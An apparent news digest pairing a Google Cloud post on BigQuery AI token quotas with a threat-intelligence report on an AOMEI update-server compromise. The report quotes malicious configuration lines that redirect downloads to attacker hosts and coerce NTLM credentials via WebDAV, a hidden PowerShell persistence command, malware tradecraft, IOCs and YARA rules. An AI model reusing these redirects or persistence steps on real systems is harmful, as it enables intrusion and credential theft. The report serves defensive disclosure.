GCP News - 2026-10-15

The generative AI functions in BigQuery (AI.GENERATE, AI.IF, AI.CLASSIFY, AI.SCORE, and more) bring large language models (LLMs) directly into your SQL, so a single query can classify millions of support tickets or score each product review for sentiment. However, because these functions are billed by the token, scaling them across massive datasets highlights the importance of managing your budget proactively. 

We recently announced the general availability (GA) of token-based cost management for BigQuery generative AI functions: daily quotas that let administrators set self-serve guardrails on AI token consumption, so teams can innovate while staying within your budget. In this blog, we provide an overview of cost management for BigQuery generative AI functions, walk through a few practical examples, and share resources to help you get started. Let’s jump in.  

Quotas for managing costs

Four daily quotas, managed through the Google Cloud Identity and Access Management (IAM) quota system, provide controls at the project level and the per-user level. Per-user limits apply to each user within a project, not across your organization.

Key details:

• The quotas are global. Usage is summed across all regions, so costs can't pile up unnoticed in a region you weren't watching.

• Output quotas include "thinking" tokens. Reasoning tokens count toward your output quota, just as they count toward your Gemini platform bill.

Which functions are covered?

The quotas apply to these BigQuery functions that perform LLM-backed generation:

• AI.GENERATE

• AI.GENERATE_TABLE

• AI.GENERATE_TEXT (and its alias ML.GENERATE_TEXT)

• AI.CLASSIFY

• AI.IF

• AI.SCORE

• AI.AGG

What's not covered: Embedding functions such as AI.GENERATE_EMBEDDING (also available as ML.GENERATE_EMBEDDING) and AI.EMBED are not subject to these quotas, because they run on different, substantially cheaper models.

Managing your quotas

Administrators can view and adjust the quotas directly in the Google Cloud console as workloads change, with no support case required.

1. Navigate to IAM & Admin → Quotas & System Limits.

2. Filter by service and select BigQuery API.

3. Sort by the Name column to bring the four AI quotas to the top.

4. Find the quota, for example AI input tokens per day.

5. Open the three-dot menu and choose Edit quota.

From there:

• To tighten cost control, lower a quota. This takes effect immediately with no approval needed.

• To support higher usage, request an increase from the same page. Many requests are auto-approved; larger increases may go through a quick review.

You'll need the right permissions. You need one of: Owner, Editor, Quota Administrator (roles/servicemanagement.quotaAdmin), or Service Usage Admin (roles/serviceusage.serviceUsageAdmin).

Prefer automation? You can also manage these quotas programmatically through the Cloud Quotas API, the gcloud CLI, and Terraform to apply consistent guardrails across projects.

Monitoring usage

Beyond setting limits, the Quotas & System Limits page displays your historical token consumption so you can quickly detect spikes and right-size your budgets. Use these trends to see how new generative AI workloads and data pipelines affect your overall token usage.

For a step-by-step walkthrough, see the BigQuery documentation on controlling costs with token quotas.

Token quotas vs. billing spend caps

Token quotas aren't the only cost guardrail in Google Cloud.

• Token quotas (this feature) are preventive and AI-specific. BigQuery tracks token usage during query execution and stops work close to the limit, with separate limits per project and per user.

• Cloud Billing spend caps operate on dollars at the project and service level and can automatically block usage when a threshold is reached. They're a broad, financial backstop rather than a precise usage control, and because enforcement is not instant, some overages are incurred.

Use token quotas as your first line of defense for AI spend, and a spend cap as a project-wide safety net.

How enforcement works

Quotas are enforced by stopping work rather than letting a query run past your limit. A query is rejected up front with a QuotaExceeded error only if a quota it needs is already exhausted. Otherwise, it starts, and if a quota runs out mid-query, BigQuery stops sending new LLM calls:

• Functions that support max_error_ratio (such as AI.IF) return partial results if unprocessed rows stay within the ratio, and otherwise fail.

• General-purpose functions (such as AI.GENERATE) still succeed. Skipped rows have no generated value, and their status field contains the quota-exceeded error.

For details, see quota enforcement behavior in the documentation.

Sizing your input data: AI.COUNT_TOKENS

To choose quota values, it helps to know how much text your workloads send to a model. The AI.COUNT_TOKENS function helps with this.

AI.COUNT_TOKENS returns the number of tokens a model's tokenizer produces for a text string, without making a billable generation call. Run it over a column to measure your input data:

The count is a lower bound on input tokens. It doesn't include output or thinking tokens, the instructions each AI function adds around your input, or non-text inputs such as images. Use it to:

• Gauge the input side of a workload before you launch it.

• Right-size your quotas together with a small sample run that measures actual input and output usage.

• Translate tokens into dollars using the published Gemini platform pricing for your model.

From tokens to budget: a worked example

Suppose you want to keep a project's daily AI spend around $100 with the Gemini 3.1 Flash-Lite model. As of today's published pricing (BigQuery processes in batch which provides a 50% discount):

• Input tokens: $0.125 per 1 million tokens

• Output tokens (response + reasoning): $0.75 per 1 million tokens

If a small sample run shows an average 100:1 input-to-output token ratio, you can solve for a daily budget:

Solving gives about 754 million input tokens and 7.54 million output tokens per day. Set AI input tokens per day and AI output tokens per day to these values to hold the project near $100/day. If a project uses models with different prices, budget per model or blend the rates.

Best practices for managing AI cost

• Start with per-user quotas. They stop one user or runaway experiment from draining the project's budget.

• Measure before you scale. Use AI.COUNT_TOKENS to size your input, then check a small sample run in the usage chart before setting limits.

• Mind the output side. Output tokens cost more. Where a function accepts max_output_tokens, set it to bound generation length.

• Monitor and iterate. Adjust limits as real usage and budgets change.

Get started

Token-based cost management is available now. To begin:

1. Open IAM & Admin → Quotas & System Limits in the Google Cloud Console and filter by BigQuery API.

2. Review the four AI-related token quotas and set limits that match your budget.

3. Use AI.COUNT_TOKENS to size your input data.

For the full details, see the documentation on controlling generative AI costs.

With token-based guardrails in place, your teams can use generative AI in BigQuery with the cost predictability your organization needs.

Written by: Tyler McLellan

Introduction

Google Threat Intelligence Group (GTIG) and Mandiant investigated a software supply chain compromise campaign targeting the update infrastructure belonging to AOMEI Technology between April 2026 and July 2026. The threat actor conducted repeated, short-burst configuration tampering against AOMEI origin servers. Each tampering window remained active for only five to ten minutes before reverting to authentic versions. This is the first time that we have encountered a software supply chain compromise that was implemented with these very short windows, effectively evading traditional point-in-time triage and automated file scanning.  

The campaign delivered a multi-stage payload chain involving the newly tracked CROSSROAD downloader and SHINYROAD backdoor. The threat actor iteratively modified its tradecraft, pivoting its staging infrastructure from cloud providers to dedicated domains and legitimate cloud storage. This evolving staging setup makes it particularly challenging for defenders to establish effective infrastructure-based blocking or network controls. We attribute this activity to a threat cluster we are tracking as UNC7017. 

Based on available telemetry, impacted organizations spanned diverse sectors, including IT services, telecommunications, higher education and related entities in Australia, Brazil, India, Pakistan, Portugal, Singapore, South Africa, Spain, Switzerland, Türkiye, and the United States. That said, because the campaign attempted to deliver malware to any system polling the update distribution servers during the threat actor’s tampering windows, victimology was opportunistic and likely extends more broadly than the organizations we directly identified. 

This campaign was initially identified through collaborative research with the ManageEngine Threat Analysis Lab (METAL), part of Zoho Corporation, whose endpoint detection and response (EDR) telemetry first detected the activity in late May across multiple customer environments. We thank the METAL team for their proactive telemetry sharing and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem. Following this joint effort, GTIG notified potentially affected organizations and shared technical findings with AOMEI Technology. AOMEI reported that they took corrective action to secure their distribution servers. METAL’s analysis of this campaign is available in their blog.

How AOMEI Update and Notification Systems Work

AOMEI Backupper provides data backup, disk cloning, and disaster recovery, while AnyViewer facilitates remote desktop access and support. Users of these products rely on the ABMarket update flow and its associated background services (Backupper.exe and ABNotify.exe) that periodically poll remote endpoints over HTTPS for update notifications and promotional pop ups:

1. Update Configuration (down_html.ini): The software periodically sends an HTTPS request to https://www2.aomeisoftware.com/download/abpopup/down_html.ini. This file contains the version number, the MD5 hash of the expected update package, and the URL where the client should download upgrade-now.zip.

2. Notification Configuration (Notifycfg.ini): The software contacts https://account.aomeitech.com/Notifycfg.ini. This file instructs the local notification process (ABNotify.exe) what messages to display and specifies commands or programs located in the software’s local directory to execute.

Under normal conditions, these files direct the client to download official files hosted on AOMEI’s own domain (www2.aomeisoftware.com).

Campaign Overview

Rather than maintaining a persistent, static modification on the vendor’s distribution servers, GTIG and METAL’s telemetry indicates UNC7017 conducted repeated, short-burst configuration tampering. We confirmed several tampering windows in 2026, alongside related malware samples observed in the wild starting in late April. However, given the short duration of these windows, it is probable that additional tampering occurred throughout the campaign that remained outside our visibility. Systems checking for updates during an active window received malicious instructions, while systems checking before or after received clean, authentic files. 

During the brief tampering windows, the threat actor modified the update settings file on the update server to redirect the software to download a malicious ZIP package from attacker-controlled servers instead of legitimate updates. The threat actor also altered the notification settings file on the update server to abuse the software’s automatic notification service, forcing the system to immediately execute the downloaded malware locally. If a user’s application checked for updates while the threat actor’s modifications were active, then the application would download the trojanized update and execute malware. 

In cases where altered configuration files were active, the threat actor directed clients to download a weaponized ZIP archive containing CROSSROAD, an initial downloader responsible for environment validation and staging secondary components. CROSSROAD subsequently established scheduled task persistence to deploy SHINYROAD, a modular backdoor framework delivered via trojanized administration utilities to facilitate covert command and control.

Short Burst Supply Chain Tampering

A defining characteristic of UNC7017's operational security is its reliance on ephemeral, time-compressed server modifications. Across all directly observed waves, the adversary avoided leaving malicious configurations resident on AOMEI's update servers:

• May 28: 10-minute exposure window (05:40 – 05:50 UTC)

• July 16: 6-minute exposure window (08:33 – 08:39 UTC)

• July 20: 5-minute exposure window (10:35 – 10:40 UTC)

At the conclusion of each window, UNC7017 reverted both down_html.ini and Notifycfg.ini to their legitimate contents. This hinders post-incident vendor audits, minimizes the window for network defenders to capture live malicious server responses, and restricts compromise to clients polling for updates during those exact minutes.

Weaponizing Native Update Logic: down_html.ini and Configuration Bloat

To compromise endpoints without relying on software vulnerabilities, UNC7017 abused the AOMEI client's legitimate update and popup rendering workflow. By default, the client downloads update archives into its Tmphtml directory, unpacks them to the local html/ directory, and processes instructions from two remote configuration files: down_html.ini and Notifycfg.ini.

To ensure the AOMEI client accepted and extracted the weaponized upgrade-now.zip archive, UNC7017 systematically incremented the minor build version (“thrid”) and updated the expected MD5 checksum in down_html.ini during each tampering window:

[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666

Figure 2: July 16 tampering of down_html.ini redirecting downloads to promotion.storage-data.com with incremented version (thrid=6) and synchronized MD5 hash.

During the 6-minute window on July 16, UNC7017 simultaneously modified Notifycfg.ini (SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934), injecting over 35,000 lines of repetitive configuration sections named [dummy_XXXXXX]. This extreme configuration bloat was structured to override standard client version checks forcing the client to trigger an update regardless of its installed version and immediately execute the unpacked CROSSROAD dropper (upgrade-now.exe) from the local html/ directory.

Infrastructure Shifts

Between April an July 2026, UNC7017 shifted its staging and delivery infrastructure between public cloud buckets and actor controlled lookalike domains, likely to test payload delivery and masquerade as legitimate vendor traffic. 

Infrastructure Shifts

1. Early Cloud Staging (April–May 2026): Early CROSSROAD payloads (upgrade-now.exe observed May 20) relied on Alibaba Cloud Object Storage (serv.oss-cn-hongkong.aliyuncs.com).

2. Dedicated Domain Infrastructure (July 1–7, 2026): The threat actor transitioned to dedicated, vendor-themed domains (storage-data.com, promotion.storage-data.com, aomei.storage-data.com).

3. Hybrid Cloud Delivery Split (July 20, 2026): During the 5-minute window on July 20, the threat actor modified down_html.ini to direct initial client downloads to a public Google Cloud Storage bucket (storage.googleapis.com/aomeiupdate/upgrade-now.zip) rather than storage-data.com. This tactical shift allowed the initial download to bypass enterprise proxy filters that block Newly Registered Domains (NRDs), while the executed CROSSROAD loader continued to leverage storage-data.com for secondary payload retrieval and C2 communications.

[Date]
Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
thrid=7
[MD5]
Val=BF73C4391B58CA95220CE3AE03F66DCF

Figure 3: July 20 modification of down_html.ini utilizing Google Cloud Storage (thrid=7) to evade Newly Registered Domain (NRD) perimeter blocks.

WebDAV NTLM Credential Coercion

On July 20, UNC7017 introduced a secondary exploitation vector inside Notifycfg.ini. Prior to tampering, Notifycfg.ini displayed a legitimate 400x380 promotional banner advertising "World Cup Deals." The threat actor replaced this banner with an invisible 1x1 pixel window (Width=1, Height=1) assigned maximum execution priority (Priority=9999) that instructed the client to render a remote HTML file over a universal naming convention (UNC) WebDAV path:

[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999

Figure 4: Malicious Notifycfg.ini configuration from July 20 implementing an invisible 1x1 popup window to coerce WebDAV/NTLM authentication to 8.210.84.56.

By forcing the AOMEI client to request a remote file:// resource via WebDAV (DavWWWRoot), UNC7017 created a silent credential harvesting mechanism capable of coercing endpoints into transmitting NetNTLMv2 authentication hashes to the actor-controlled IP address (8.210.84.56) without user visibility.

Malware Delivery & Post-Exploitation Tooling

Across the campaign waves, UNC7017 deployed a consistent chain of custom loaders and commercial/open-source post-exploitation frameworks:

• Defense Evasion via Timestomping: Analysis of an early CROSSROAD dropper (upgrade-now.exe) submitted to VirusTotal on May 20 revealed that the threat actor manipulated PE compilation timestamps to display fabricated 2024 build dates in an effort to complicate forensic timeline analysis.

• Modified Radmin Server Backdoor: During the May 28 wave, the unsigned loader dropped into the html/ directory executed rsetup64.exe /intsetup, silently installing a modified version of the commercial remote administration tool Radmin Server to establish persistent remote access.

• Adaptix C2 Integration: Since at least early July 2026, the threat actor was observed deploying the Adaptix C2 framework across its storage-data.com infrastructure.

The Primary Downloader: CROSSROAD 

The primary Stage-2 downloader (upgrade-now.exe, SHA256: 9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450) is a 64-bit Windows executable written in C, tracked by GTIG as the CROSSROAD malware family. Delivered inside upgrade-now.zip, CROSSROAD is responsible for environment validation, active endpoint cleanup, staging the secondary payload bundle, and establishing scheduled task persistence for the Stage-3 backdoor suite.

• Path Verification: As part of its configuration routine, CROSSROAD checks whether its file path contains the substring AOMEI. If the substring is absent, it initiates a self-deletion routine; however, it does not abort, continuing both its background configuration cleanup and its downloader routines regardless.

• Execution Guardrails: Before proceeding with secondary downloads, CROSSROAD enforces two primary checks:

• Geolocation Check: Queries external domain name system (DNS) (myip.opendns.com, o-o.myaddr.l.google.com) and HTTP reflection services (checkip.amazonaws.com, api.ipify.org, ifconfig.me/ip, icanhazip.com) using custom User-Agents (Anyviewer-loader/1.0, Anyviewer-ipcheck/1.0). In specific execution branches, if the returned country code is "CN" (China), the loader aborts its primary payload execution path.

• Lock Mutex: Acquires the named mutex Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883} to prevent multiple concurrent instances on the same host.

• Host Artifact Reversion & Anti-Forensics: To complicate post-incident triage and forensic reconstruction, the loader systematically reverts local configuration states during its execution cycle. The malware parses down_html.ini (located at <install_dir>\..\..\), restoring the update thread parameter (thrid) to its default value of 5 and pointing the update download URL back to legitimate AOMEI distribution infrastructure (https://www2.aomeisoftware.com/download/abpopup/).

• Stage-3 Payload Staging & Extraction: If environment checks pass, CROSSROAD downloads https://promotion.storage-data.com/config/component.zip (also observed as en.zip), to %TEMP%\svc<random_hex>.tmp, and unpacks its contents into the user’s local application data directory using an embedded miniz library.

• Persistence via Scheduled Task: To ensure continuous execution of the staged payload bundle, upgrade-now.exe registers a persistent scheduled task named RadminComponentRuntime (configured with the description”Radmin Component runtime checkable.”). The task is set to execute %LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk every three hours.

• Self-Deletion (--nitrod): After extracting the payload bundle and creating the scheduled task, CROSSROAD purges itself from disk. To bypass Windows file-locking constraints, the executable drops a copy of itself to the temporary directory and executes it with the --nitrod parameter, passing its parent PID via NITRODP and original executable path via NITRODT. The child process waits for the parent to terminate, renames the original binary's primary :$DATA stream to an alternate data stream named :wtfbbq via SetFileInformationByHandle, and flags FileDispositionInfo with DeleteFile = TRUE to unlink the binary on handle close.

• Version Information: The executable contained standard PE version metadata with a notable typo string: "ProductName: AOMEI Update Compent".

Stage-3 Payload: SHINYROAD and Radmin Suite

The payload archive unpacked into %LOCALAPPDATA%\Radmin\ by CROSSROAD contains a Famatech Radmin 3.x administration bundle used to deliver the SHINYROAD modular backdoor framework. The malware contains no native persistence mechanism of its own and relies entirely on the external scheduled task registered by CROSSROAD for execution.

• Execution via DLL Search-Order Hijacking (BlkScrDl.dll): Execution begins when the persistent RadminComponentRuntime scheduled task launches the legitimate, signed Radmin binary %LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk (or FamItrf2.exe). During startup, the Radmin executable is hijacked into loading the attacker's unsigned DLL, BlkScrDl.dll, via search-order hijacking. The adversary named this DLL to masquerade as Radmin's legitimate "blank screen" driver library.

• Shared Memory & In-Process COM Server Staging: Upon execution, BlkScrDl.dll locates config.zip in its execution directory, maps its raw contents into a shared memory section named Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf, and dynamically registers csvc\RuntimeComponent.dll as an in-process COM Server under CLSID {21191641-0D7F-4CD9-9572-01AAE6E7851B} and AppID {9AD3E98A-4C7E-4F37-982D-D73D41E4F91B}.

• COM-Triggered Stage-2 Initialization & Embedded PocketPy VM: When the Radmin process instantiates the registered CLSID, the Windows COM subsystem loads the DLL. The DLL reads config.zip directly from shared memory, extracts the encrypted payload metadata.dat, and decrypts it using ChaCha20 with an HMAC-SHA256 derived key and IV. The decrypted payload consists of compiled Python bytecode, which RuntimeComponent.dll executes within an embedded PocketPy interpreter, establishing initial C2 connectivity to 8.218.65.184:443.

Evolution of the SHINYROAD Architecture

Analysis of earlier campaign variants revealed that SHINYROAD relies on custom C-level extensions (_pyio_compat, _pyio_struct, and pkpy) to avoid loading standard Python libraries on disk:

• Custom Binary C2 Protocol: Earlier variants communicated over raw TCP (8.218.65.184:41397). The agent generates a unique ID by fingerprinting the hostname and username, authenticates via a hard-coded handshake key, and dynamically transitions all subsequent communication to use symmetric encryption derived from this unique ID.

• In-Memory Capabilities: The engine supports interactive remote shell access (os.system), traffic chaffing (generating randomized junk packets to disrupt network signatures), and dynamic in-memory extension via the pkpy WorkPool thread manager without writing script modules to disk.

Post-Exploitation: Nitro PDF Theme & Adaptix C2

In mid-July 2026, following the successful deployment of SHINYROAD, telemetry identified later-stage activity where UNC7017 pushed down ADAPTAGENT, the client portion of the Adaptix C2 post-exploitation framework. To blend in or appear as user-downloaded activity, these payloads masqueraded as Nitro PDF promotional and scanning tools (NitroPromotion.exe):

• Persistence: The malware installed a scheduled task named \NitroRuntime that executed:

powershell -Command "Start-Process 'C:\Users\<USER>\AppData\Local\Temp\NitroPromotion.exe' -WindowStyle Hidden"

Figure 6: NitroRuntime scheduled task persistence

• Adaptix C2 Beaconing: The executable sideloaded Eztwain4.dll (ADAPTAGENT) from %LOCALAPPDATA%\Nitro Pro\, which established periodic 2-minute beacons to 8.210.84.56:6800.

Outlook and Implications

This campaign highlights a broader evolution in software supply chain attack methodologies. Supply chain intrusions have historically focused on inserting backdoors into software source code or tampering with developer build pipelines (e.g., SolarWinds, 3CX). While highly impactful, compromised source trees leave persistent binary signatures in official release files that can be discovered during post-release binary analysis.

UNC7017's use of ephemeral configuration tampering represents a lower-overhead, higher-stealth alternative:

1. Anti-Analysis by Design: By restricting configuration changes to five to ten minute windows, the vast majority of legitimate users and automated repository crawlers only encounter authentic, vendor-signed files.

2. Selective Exploitation: Threat actors can selectively compromise target organizations that maintain frequent polling intervals while minimizing their exposure window on vendor infrastructure.

3. Dual-Pronged Approach: Combining software update redirection with invisible WebDAV NTLM coercion could allow adversaries to harvest credentials from passive users even if binary payload execution is blocked.

4. Co-opting Commercial Software: Deploying unmodified versions of legitimate administration tools (such as Radmin 3.x) to masquerade sideloaded covert channels illustrates how adversaries blend commercial remote management capabilities with hidden backdoor modules.

Remediation and Hardening

Defenders should focus on behavioral profiling of updater processes, specifically monitoring for unsigned child processes spawned by background update runners and unauthorized network redirection originating from trusted desktop software. For broader recommendations on securing software delivery pipelines, please refer to our previously published Mitigation Guidance for Supply Chain Compromise.

Vendor Notification & Architecture Hardening

On July 17, 2026, Mandiant notified AOMEI Technology regarding the observed configuration tampering on their update infrastructure and provided relevant indicators. AOMEI subsequently responded on July 29, 2026, stating that corrective actions had been taken.

Why Server-Side Remediation Does Not Disinfect Endpoints

Crucially, server-side remediation does not clean endpoints that downloaded malicious updates during earlier tampering windows. Because the tampering occurred in brief, short bursts, systems that received these files may remain compromised without the organization's knowledge unless proactive endpoint hunting and remediation are performed.

• Persistent Resident Payloads: Endpoints that polled for updates during an active tampering window downloaded and staged persistent payloads (via scheduled tasks) that remain fully operational even after the vendor restores authentic .ini files on the origin servers.

• Obscured Root Cause: While the subsequent backdoor activity and scheduled tasks generate detectable endpoint telemetry, the ephemeral delivery vector obscures the initial intrusion mechanism. Because server tampering lasted approximately 5 minutes—and the loader actively reverted local configuration files—investigators reviewing vendor update URLs hours later will observe only benign, authentic infrastructure, complicating root cause analysis and patient-zero identification.

• Hunting Imperative: Organizations running AOMEI software cannot assume they are protected solely because the vendor took corrective server-side action. Enterprise security teams must perform retrospective endpoint and network hunts across the entire April–July time frame using the indicators and YARA rules provided in this post.

Guidance for Software Vendors & Developers

Software supply chain security extends beyond developer workstations and build pipelines. When desktop software relies on remote configuration files to manage update and notification behaviors, adversaries can target the distribution layer rather than the source code. To defend against configuration tampering and distribution-channel hijacking, software vendors should implement the following security controls:

• End-to-End Cryptographic Signature Verification: Client applications must cryptographically verify Authenticode digital signatures and validate vendor certificates on all downloaded executables and archives before extraction or execution. Update clients should never rely solely on transport-layer HTTPS or remote checksums (such as cleartext MD5 values in an unauthenticated configuration file).

• Cryptographically Signed Configuration Files: Remote configuration files (.ini, .json, or .xml) should be digitally signed using asymmetric public key cryptography. If an origin server or content delivery network (CDN) is modified without authorization, client software will detect the invalid signature and reject the configuration.

• Domain Allowlisting and Destination Pinning: Software update clients should enforce strict destination pinning, restricting update downloads exclusively to official, pre-approved vendor domains and CDNs. Update engines should reject redirection to arbitrary third-party domains or generic public cloud storage buckets.

• Restricting Uniform Resource Identifier (URI) Schemes in In-App Handlers: Embedded web views, promotional popups, and notification handlers should strictly enforce secure web protocols (https://) and explicitly disallow local file (file://) and UNC WebDAV schemes to prevent external NTLM credential coercion.

• Decoupling Core Updates from Marketing Channels: Separating essential software maintenance routines from dynamic promotional popups and notification banners reduces the attack surface and ensures that advertising channels cannot trigger local code execution.

• Origin Integrity Monitoring and Access Controls: Origin web servers and object storage buckets hosting update metadata should enforce strict access controls, multi-factor authentication, and automated real-time file integrity monitoring (FIM) with immediate alerting on configuration changes.

Guidance for Security Operations (SOC) & Incident Responders

Overcoming the "Point-in-Time" Triage Pitfall

The short-burst nature of this attack creates a unique challenge for incident response:

• The Triage Trap: When an EDR alert fires for a suspicious process spawned by an updater, SOC analysts frequently attempt to validate the alert by navigating to the vendor's download URL or checking URL reputation. Because the threat actor reverted the remote configuration files within five to ten minutes, the vendor's server returns authentic, clean files most of the time, leading analysts to mistakenly dismiss the detection as a false positive.

• Actionable IR Protocol: Defenders must not rely on live web checks. Incident responders must preserve and analyze the endpoint-cached configuration files in %PROGRAMFILES(X86)%\AOMEI\*\Tmphtml\ and review proxy/firewall telemetry corresponding to the precise second the alert was triggered.

Camouflaged Follow-on Activity

The deployment of Adaptix C2 under the guise of Nitro PDF can mislead analysts into treating alerts as isolated, user-initiated software downloads rather than staged lateral movement. Responders must trace updater parentage to identify root-cause supply chain tampering.

Endpoint and Network Hardening Actions

Endpoint File Checks

Inspect systems for the following directories and artifacts. Defenders must distinguish between malicious payloads and legitimate signed binaries abused for search-order hijacking:

Table 1: Endpoint file checks

Scheduled Tasks and Registry

• Scheduled Tasks: Check for unauthorized tasks named \NitroRuntime or \RadminComponentRuntime.

• Registry: Check \REGISTRY\MACHINE\SYSTEM\Software\Microsoft\TIP\AggregateResults\data for unusual binary blobs.

Network Defenses

• Block outbound network connections to promotion.storage-data.com, aomei.storage-data.com, storage-data.com, 8.210.84.56, 47.239.60.117, and 8.218.65.184.

• Block outbound SMB (TCP 445) and WebDAV traffic to external IP addresses to prevent NTLM credential coercion.

• Inspect proxy and web gateway logs for the User-Agent Anyviewer-loader/1.0 or requests to Alibaba Cloud OSS endpoint serv.oss-cn-hongkong.aliyuncs.com.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Malicious File Hashes (SHA-256)

Table 2: Malicious File Indicators

Legitimate File Hashes (SHA-256)

Table 3: Legitimate File Indicators

Configuration File Hashes (AOMEI .ini)

Table 4: Configuration Files

Network Indicators

Table 5: Network Indicators

Mutexes & Scheduled Tasks

• Mutex: Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}

• Shared memory mapping: Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf

• Scheduled Task: \RadminComponentRuntime

Google Security Operations (SecOps)

Google Security Operations customers have access to these broad category rules and more under the "Mandiant Frontline Threats", “Mandiant Hunting Rules”, and "Applied Threat Intelligence - Curated Prioritization" rule packs. The activity discussed in the blog post is detected in Google Security Operations under the rule names:

• Explorer Launching Cmd With Powershell Start Process Command

• Suspicious Process Invoking Dllhost Clsid Invocation

• ATI Active Breach Rule Match for File IoCs

• ATI High Priority Rule Match for Ip Address IoCs

• ATI Medium Priority Rule Match for Ip Address IoCs

• Copy System Binary

• System32 Binary Copied to Non-Standard Directory

Detections

YARA Rules

rule G_APT_Downloader_CROSSROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects obfuscated and masquerading UNC7017 CROSSROAD downloaders targeting AOMEI software update mechanisms"
strings:
	// Masquerading & Metadata
	$meta_typo = "AOMEI Update Compent" wide
	$meta_co = "AOMEI International Network Limited" wide
	$meta_ver = "8.2.5.0" wide
	$meta_orig = "upgrade-now.exe" wide
	$meta_name = "upgrade-now" wide
	// Embedded Decompression & Downloader Artifacts
	$miniz1 = "archive is too large" ascii
	$miniz2 = "failed finding central directory" ascii
	$miniz3 = "unexpected decompressed size" ascii
	$whttp1 = "WinHttpCrackUrl" ascii
	$whttp2 = "WinHttpSendRequest" ascii
	// Obfuscation & Scheduled Task Artifacts
	$task1 = "RadminComponentRuntime" wide
	$task2 = "Radmin Component runtime checkable." wide
	$flag = "--runtimechk" wide
	$sob1 = "IsCurrentIpWhitelisted._sob_enc" ascii
	$sob2 = "DownloadFileFromUrlA._sob_enc" ascii
	$sob3 = "WinMain._sob_enc." ascii
	$obf_key = "_sob_key" ascii
condition:
	uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
		(($meta_typo or ($meta_co and ($meta_orig or $meta_name or $meta_ver))) and
		 any of ($miniz*) and
		 any of ($whttp*)) or
		(2 of ($sob*) and ($task1 or $flag)) or
		($obf_key and $task1 and $task2 and any of ($sob*))
	)

}

rule G_APT_Backdoor_SHINYROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects the SHINYROAD BlkScrDl.dll COM-staging loader and RuntimeComponent.dll PocketPy engine"
		
	strings:
		// Shared SHINYROAD artifacts (shared memory section and mutex)
		$shm = "Local\\963d3c60-d406-4ad6-aa1e-dc8e45061ccf" ascii wide
		$mtx = "Global\\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}" ascii wide
		// BlkScrDl.dll loader: config.zip staging and COM server registration
		$ld1 = "%sconfig.zip" ascii
		$ld2 = "%scsvc\\RuntimeComponent.dll" ascii
		$ld3 = "libBlkScrDl.dll" ascii
		$com1 = "Software\\Classes\\CLSID\\%s" ascii
		$com2 = "Software\\Classes\\AppID\\%s" ascii
		$com3 = "%s\\InprocServer32" ascii
		// RuntimeComponent.dll embedded PocketPy engine
		$rc1 = "libRuntimeComponent.dll" ascii
		$rc2 = "metadata.dat" ascii
		$rc3 = "_pyio_compat" ascii
		$rc4 = "_pyio_struct" ascii
		$rc5 = "%sdemo_srv.log" ascii
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
			($shm and $mtx) or
			(($shm or $mtx) and (2 of ($ld*) or 2 of ($rc*))) or
			(2 of ($ld*) and 2 of ($com*)) or
			($rc1 and $rc2 and any of ($rc3, $rc4, $rc5))
		)
}

rule G_APT_Backdoor_SHINYROAD_2
{
	meta:
		author = "Mandiant"
		desc = "Detects compiled PocketPy bytecode payloads associated with SHINYROAD backdoors"
strings:
	$pkpy_magic = { 4F 43 01 00 }
	$proto1 = "mct3-handshake-v1" ascii
	$script = "bootstrap_tcp_slim_v2_call_min.py" ascii
	$jam1 = "JAM_BURST_PACKETS_MIN" ascii
	$jam2 = "JAM_MIN_MS" ascii
	$jam3 = "JAM_MAX_BYTES" ascii
	$mod1 = "_pyio_struct" ascii
	$mod2 = "_pyio_compat" ascii
	$enc1 = "nh_enc" ascii
	$enc2 = "encbody" ascii

condition:
	$pkpy_magic at 0 and filesize < 500KB and (
		$proto1 or
		$script or
		all of ($jam*) or
		(all of ($mod*) and any of ($enc*))
	)

}

rule G_APT_Launcher_ADAPTAGENT_1
{
	meta:
		author = "Mandiant"
		desc = "Detects UNC7017 ADAPTAGENT post-exploitation loader and sideloaded Adaptix payload (Nitro camouflage)"
		ref = "https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering"
		platforms = "Win"
		rs1 = "14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591"

	strings:
		// Sideloaded Masquerading & Camouflage
		$camo_exe1 = "NitroPromotion.exe" ascii wide nocase
		$camo_exe2 = "Nitro_Scan2PDFApp.exe" ascii wide nocase
		$camo_dll1 = "Eztwain4.dll" ascii wide nocase
		$camo_dll2 = "Nitro PDF Eztwain4" ascii wide nocase
		$camo_ver = "14.10.1.0" ascii wide
		$camo_copy = "Nitro Software, Inc." ascii wide

		// NitroPromotion Loader & Staging Functionality
		$load1 = "DownloadToLocalAppData" ascii
		$load2 = "ExtractZipToDirectoryA" ascii
		$load3 = "GetTempZipFileNameA" ascii
		$load4 = "CreateScheduledTask" ascii

		// Adaptix C2 & ADAPTAGENT Core Artifacts
		$adapt1 = "Adaptix Crash Analyzer v1.0" ascii
